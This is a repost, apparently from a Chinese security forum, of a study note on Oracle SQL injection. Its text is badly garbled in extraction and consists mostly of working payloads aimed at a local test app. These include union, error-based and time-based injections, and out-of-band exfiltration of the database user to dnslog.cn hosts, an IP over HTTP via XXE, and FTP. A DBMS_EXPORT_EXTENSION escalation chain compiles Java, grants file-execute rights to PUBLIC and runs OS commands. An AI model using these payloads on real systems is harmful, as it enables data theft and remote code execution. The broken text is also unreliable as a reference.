[1086] 2020-03-19_OracleSQL注入学习

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-16
2020-03-19_OracleSQL注入学习 O r a c l e   S Q L C h a B u g   C h a B u g   2 0 2 0 - 0 3 - 1 9 O r a c l e M y S Q L o r a c l e J a v a O r a c l e O r a c l e   S Y S T E M S Y S A U X U S E R S U N D O T B S T E M P 1 .   S Y S T E M 2 .   S Y S A U X   S Y S T E M 便   S Y S T E M   3 .   U N D O T B S 退 4 .   T E M P 5 .   U S E R S O r a c l e d u a l O r a c l e S Q L s e l e c t f r o m 使 d u a l S Q L f r o m O r a c l e O r a c l e     C O N N E C T   R E S O U R C E   D B A     s y s s y s t e m   1 .   s y s   L i n u x     r o o t     D B A   2 .   s y s t e m   s y s     s y s     D B A   3 .   p u b l i c p u b l i c   e v e r y o n e   p u b l i c     D B A     p u b l i c D B A   O r a c l e s e l e c t d u a l O r a c l e 使     M y S Q L O r a c l e O r a c l e l i m i t 使 r o w n u m w h e r e s e l e c t   1 + 1   f r o m   d u a l s e l e c t   c o l u m n ,   g r o u p _ f u n c t i o n ( c o l u m n ) f r o m   t a b l e [ w h e r e   c o n d i t i o n ] [ g r o u p   b y   g r o u p _ b y _ e x p r e s s i o n ] [ h a v i n g   g r o u p _ c o n d i t i o n ] [ o r d e r   b y   c o l u m n ] ; | | s y s d a t e
O r a c l e ' n u l l ' n u l l M y S Q L O r a c l e O r a c l e d b a _ t a b l e s   :   D B A a l l _ t a b l e s   :   u s e r _ t a b l e s :   D B A _ A L L _ T A B L E S D B A   访 A L L _ A L L _ T A B L E S 访 U S E R _ A L L _ T A B L E S D B A _ T A B L E S   > =   A L L _ T A B L E S   > =   U S E R _ T A B L E S 便 j s p ' ' ' ' u n i o n   s e l e c t h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   W H E R E   b a n n e r   L I K E   ' O r a c l e % 2 5 ' )   f r o m   d u a l   - -   +
S E L E C T   u s e r   F R O M   d u a l ; S E L E C T   u s e r n a m e   F R O M   a l l _ u s e r s ; S E L E C T   n a m e   F R O M   s y s . u s e r $ ;   - -   S E L E C T   *   F R O M   s e s s i o n _ p r i v s h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   b a n n e r   l i k e   ' T N S % 2 5 ' )   f r o m   d u a l   - -   + h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a ' , ( S E L E C T   n a m e   F R O M   v $ d a t a b a s e )   f r o m   d u a l   - -   + S E L E C T   D I S T I N C T   o w n e r ,   t a b l e _ n a m e   F R O M   a l l _ t a b l e s
a l l _ t a b l e s M y S Q L i n f o r m a t i o n _ s c h e m a . t a b l e s s q l S E L E C T   *   F R O M   a l l _ t a b l e s ; S E L E C T   c o l u m n _ n a m e   F R O M   a l l _ t a b _ c o l u m n s
O r a c l e   u s e r e n v     S Y S _ C O N T E X T     O r a c l e   S Y S _ C O N T E X T o r d e r   b y   u n i o n   s e l e c t s e l e c t ( / ) 使 n u l l w m s y s . w m _ c o n c a t ( ) M y S Q L g r o u p _ c o n c a t ( ) 1 1 g r 2 1 2 C L I S T A G G ( ) L I S T A G G ( ) v a r c h a r 使 u t l _ i n a d d r . g e t _ h o s t _ n a m e 1 1 g 使 访 c t x s y s . d r i t h s x . s n C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E X M L T y p e 1 2 c u r l   h e x S E L E C T   S Y S _ C O N T E X T ' U S E R E N V ' ' S E S S I O N _ U S E R '   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   n u l l , n u l l , n u l l   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , n u l l , n u l l   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , 2 , n u l l   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ' a s d ' , n u l l   f r o m   d u a l   - -       h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   u s e r   f r o m   d u a l ) , ( S E L E C T   b a n n e r   F R O M   v $ v e r s i o n   w h e r e   b a n n e r   l i k e   ' O r a c l e % 2 5 ' )   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( S E L E C T   g l o b a l _ n a m e   F R O M   g l o b a l _ n a m e ) , n u l l   f r o m   d u a l   - -   h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   L I S T A G G ( t a b l e _ n a m e , ' , ' ) w i t h i n   g r o u p ( o r d e r   b y   o w n e r ) n a m e   f r o m   a l l _ t a b l e s   w h e r e   o w n e r = ' S Y S T E M ' ) , h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   u n i o n   s e l e c t   1 , ( s e l e c t   c o l u m n _ n a m e   f r o m   a l l _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e = ' T E S T '   a n d   r o w n u m = 2 ) , n u l l   f r o m   d u a l   - -   s e l e c t   u t l _ i n a d d r . g e t _ h o s t _ n a m e ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   c t x s y s . d r i t h s x . s n ( 1 ,   ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E ( ( s e l e c t   u s e r   f r o m   d u a l ) ,   ' 1 2 3 ' )   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   u p p e r ( X M L T y p e ( c h r ( 6 0 ) | | c h r ( 5 8 ) | | ( s e l e c t   u s e r   f r o m   d u a l ) | | c h r ( 6 2 ) ) )   f r o m   d u a l )   i s   n o t   n u l l   - -
d b m s _ x d b _ v e r s i o n . c h e c k i n d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d d b m s _ x d b _ v e r s i o n . u n c h e c k o u t d b m s _ u t i l i t y . s q l i d _ t o _ s q l h a s h o r d s y s . o r d _ d i c o m . g e t m a p p i n g x p a t h U T L _ I N A D D R . g e t _ h o s t _ n a m e U T L _ I N A D D R . g e t _ h o s t _ a d d r e s s 使 d e c o d e 0 1 .   s e l e c t   c o u n t ( * )   f r o m   a l l _ o b j e c t s 1 .   s e l e c t   d b m s _ x d b _ v e r s i o n . c h e c k i n ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   d b m s _ x d b _ v e r s i o n . u n c h e c k o u t ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; S E L E C T   d b m s _ u t i l i t y . s q l i d _ t o _ s q l h a s h ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   o r d s y s . o r d _ d i c o m . g e t m a p p i n g x p a t h ( ( s e l e c t   u s e r   f r o m   d u a l ) ,   1 ,   1 )   f r o m   d u a l ; s e l e c t   U T L _ I N A D D R . g e t _ h o s t _ n a m e ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; s e l e c t   U T L _ I N A D D R . g e t _ h o s t _ n a m e ( ' ~ ' | | ( s e l e c t   u s e r   f r o m   d u a l ) | | ' ~ ' )   f r o m   d u a l ; h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   s u b s t r ( u s e r ,   1 ,   1 )   f r o m   d u a l ) = ' S '   - - h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   1 = ( s e l e c t   d e c o d e ( s u b s t r ( u s e r ,   1 ,   1 ) ,   ' S ' ,   ( 1 / 1 ) , 0 )   f r o m   d u a l )   - - s e l e c t   1   f r o m   d u a l   w h e r e   D B M S _ P I P E . R E C E I V E _ M E S S A G E ( ' a s d ' ,   R E P L A C E ( ( S E L E C T   s u b s t r ( u s e r ,   1 ,   1 )   F R O M   d u a l ) ,   ' S ' ,   1 0 ) ) = 1 ;
d e c o d e O O B M y S Q L   l o a d _ f i l e O O B   u t l _ h t t p . r e q u e s t H T T P u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s d n s s e l e c t   d e c o d e ( s u b s t r ( u s e r , 1 , 1 ) , ' S ' , d b m s _ p i p e . r e c e i v e _ m e s s a g e ( ' R D S ' , 1 0 ) , 0 )   f r o m   d u a l ; s e l e c t   u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . c b b 1 y a . d n s l o g . c n ' )   f r o m   d u a l
S Y S . D B M S _ L D A P . I N I T   1 0 g / 1 1 g     p u b l i c   . H T T P U R I T Y P E   O r a c l e     < =   1 0 g 1 .   U T L _ I N A D D R . G E T _ H O S T _ A D D R E S S 2 .   U T L _ H T T P . R E Q U E S T 3 .   H T T P _ U R I T Y P E . G E T C L O B 4 .   D B M S _ L D A P . I N I T   a n d   U T L _ T C P O r a c l e   X X E   ( C V E - 2 0 1 4 - 6 5 7 7 ) x x e x m l h t t p f t p 1 .   h t t p 1 .   f t p O r a c l e J a v a G E T _ D O M A I N _ I N D E X _ T A B L E S S E L E C T   D B M S _ L D A P . I N I T ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . 2 4 w y p w . d n s l o g . c n ' , 8 0 )   F R O M   D U A L ; S E L E C T   H T T P U R I T Y P E ( ( s e l e c t   u s e r   f r o m   d u a l ) | | ' . 2 4 w y p w . d n s l o g . c n ' ) . G E T C L O B ( )   F R O M   D U A L ; s e l e c t   1   f r o m   d u a l   w h e r e   1 = ( s e l e c t   e x t r a c t v a l u e ( x m l t y p e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . 1 6 8 . 1 2 4 . 1 / ' | | ( S E L E C T   u s e r   f r o m   d u a l ) | | ' " >   % r e m o t e ; ] > s e l e c t   e x t r a c t v a l u e ( x m l t y p e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M   " f t p : / / ' | | u s e r | | ' : b a r @ I P / t e s t " >   % r e m o t e ;   % p a r a m 1 ; ] > ' ) , ' / l ' )   f r o m   d u a l ;
: O r a c l e   8 . 1 . 7 . 4 ,   9 . 2 . 0 . 1   -   9 . 2 . 0 . 7 ,   1 0 . 1 . 0 . 2   -   1 0 . 1 . 0 . 4 ,   1 0 . 2 . 0 . 1 - 1 0 . 2 . 0 . 2 s y s s q l p u b l i c o r a c l e 1 2 J a v a 3 J a v a 4 5 6 D B M S _ J V M _ E X P _ P E R M S J V M 1 .   h t t p s : / / w w w . n o t s o s e c u r e . c o m / h a c k i n g - o r a c l e - 1 1 g / 2 .   h t t p s : / / w w w . e x p l o i t - d b . c o m / e x p l o i t s / 3 3 6 0 1 x m l J V M   C V E - 2 0 1 8 - 3 0 0 4 c o n n e c t r e s o u r c e 使 O r a c l e   E n t e r p r i s e   E d i t i o n   J a v a O r a c l e J a v a J a v a 使 使 J a v a R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ) O r a c l e x m l h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S   _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   " C o m m a n d "   a s   i m p o r t   j a v a . i o . * ; p u b l i c   c l a s s   C o m m a n d { p u b l i c   s t a t i c   S t r i n g   e x e c ( S t r i n g   c m d )   t h r o w s   E x c e p t i o n { S t r i n g   s b = " " ; B u f f e r e d I n p u t S t r e a m   i n   =   n e w   B u f f e r e d I n p u t S t r e a m ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) ; B u f f e r e d R e a d e r   i n B r   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i n ) ) ; S t r i n g   l i n e S t r ; w h i l e   ( ( l i n e S t r   =   i n B r . r e a d L i n e ( ) )   ! =   n u l l ) s b + = l i n e S t r + " n " ; i n B r . c l o s e ( ) ; i n . c l o s e ( ) ; r e t u r n   s b ; } } ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' b e g i n   d b m s _ j a v a . g r a n t _ p e r m i s s i o n (   ' ' ' ' ' ' ' ' P U B L I C ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' S Y S : j a v a . i o . F i l e P e r m i s s i o n ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' < < A L L   F I L E S > > ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' e x e c u t e ' ' ' ' ' ' ' '   ) ; e n d ; ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   f u n c t i o n   c m d ( p _ c m d   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2   a s   l a n g u a g e   j a v a   n a m e   ' ' ' ' ' ' ' ' C o m m a n d . e x e c ( j a v a . l a n g . S t r i n g )   r e t u r n   S t r i n g ' ' ' ' ' ' ' ' ;   ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' g r a n t   a l l   o n   c m d   t o   p u b l i c ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' h t t p : / / l o c a l h o s t : 8 0 8 0 / o r a c l e I n j e c t / i n d e x ? u s e r n a m e = a d m i n '   a n d   ( s e l e c t   s y s . c m d ( ' c m d . e x e   / c   w h o a m i ' )   f r o m   d u a l )   i s   n o t   n u l l - - - - c r e a t e   o r   r e p l a c e   f u n c t i o n   g e t _ j a v a _ p r o p e r t y ( p r o p   i n   v a r c h a r 2 )   r e t u r n   v a r c h a r 2 - -       i s   l a n g u a g e   j a v a   n a m e   ' j a v a . l a n g . S y s t e m . g e t P r o p e r t y ( j a v a . l a n g . S t r i n g )   r e t u r n   j a v a . l a n g . S t r i n g ' ; - - / s e l e c t   g e t _ j a v a _ p r o p e r t y ( ' j a v a . v e r s i o n ' )   f r o m   d u a l ; j a v a . n a m e . S y s t e m j a v a . l a n g . S y s t e m B E G I N   d e c o d e m e ( ' < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " > < o b j e c t   c l a s s = " j a v a . i o . F i l e W r i t e r " >                                             < s t r i n g > c : a p p 1 . t x t < / s t r i n g >
s h e l l s s h 1 .   h t t p s : / / w w w . i s w i n . o r g / 2 0 1 5 / 0 6 / 1 3 / h a c k - o r a c l e 2 .   h t t p : / / o b t r u s e . s y f r t e x t . c o m / 2 0 1 8 / 0 7 / o r a c l e - p r i v i l e g e - e s c a l a t i o n - v i a . h t m l ? m = 1 3 .   h t t p s : / / w w w . c n b l o g s . c o m / - q i n g - / p / 1 0 9 4 9 5 6 2 . h t m l 4 .   h t t p s : / / w w w . t r 0 y . w a n g / 2 0 1 9 / 0 4 / 1 6 / O r a c l e % E 6 % B 3 % A 8 % E 5 % 8 5 % A 5 % E 6 % 8 C % 8 7 % E 5 % 8 C % 9 7 / i n d e x . h t m l ) 5 .   h t t p s : / / w w w . n o t s o s e c u r e . c o m / h a c k i n g - o r a c l e - 1 1 g /                                             < s t r i n g > c : a p p 1 . t x t < / s t r i n g >                                             < b o o l e a n > T r u e < / b o o l e a n >                                             < v o i d   m e t h o d = " w r i t e " >                                                   < s t r i n g > a a a < / s t r i n g >                                             < / v o i d >                                             < v o i d   m e t h o d = " c l o s e "   / >                                       < / o b j e c t > < / j a v a > ' ) ; E N D ; /
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则